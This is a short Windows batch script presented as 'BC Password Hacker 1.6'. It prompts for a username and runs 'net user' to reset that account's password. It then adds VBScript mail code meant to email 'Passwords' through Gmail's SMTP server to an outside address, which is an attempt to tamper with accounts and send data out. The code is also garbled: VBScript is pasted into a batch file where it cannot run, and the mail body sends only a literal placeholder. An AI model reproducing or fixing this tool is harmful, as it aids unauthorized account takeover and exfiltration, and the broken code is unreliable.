@echo off
color 1b
title BC Password Hacker
echo ***************************************
echo.
echo Password Hacker 1.6
echo By BC
echo ***************************************
echo.
echo Press enter
pause >nul
cls

echo ***************************************
echo.
echo Password Hacker 1.6
echo By BC
echo ***************************************
echo.
echo.
echo username:
set /p username=
net user %username% *

Set objMail = CreateObject("CDO.Message")
Set objConf = CreateObject("CDO.Configuration")
Set objFlds = objConf.Fields
objFlds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 'cdoSendUsingPort
objFlds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
objFlds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
objFlds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "dummyemail@gmail.com"
objFlds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "dummypassword"
objFlds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 'cdoBasic
objFlds.Update
objMail.Configuration = objConf
objMail.FromName = "Your Name"
objMail.From = "dummyemail@gmail.com"
objMail.To = "Bdews716@gmail.com"
objMail.Subject = "Passwords"
objMail.TextBody = "%username% *"
objMail.Send
Set objFlds = Nothing
Set objConf = Nothing
Set objMail = Nothing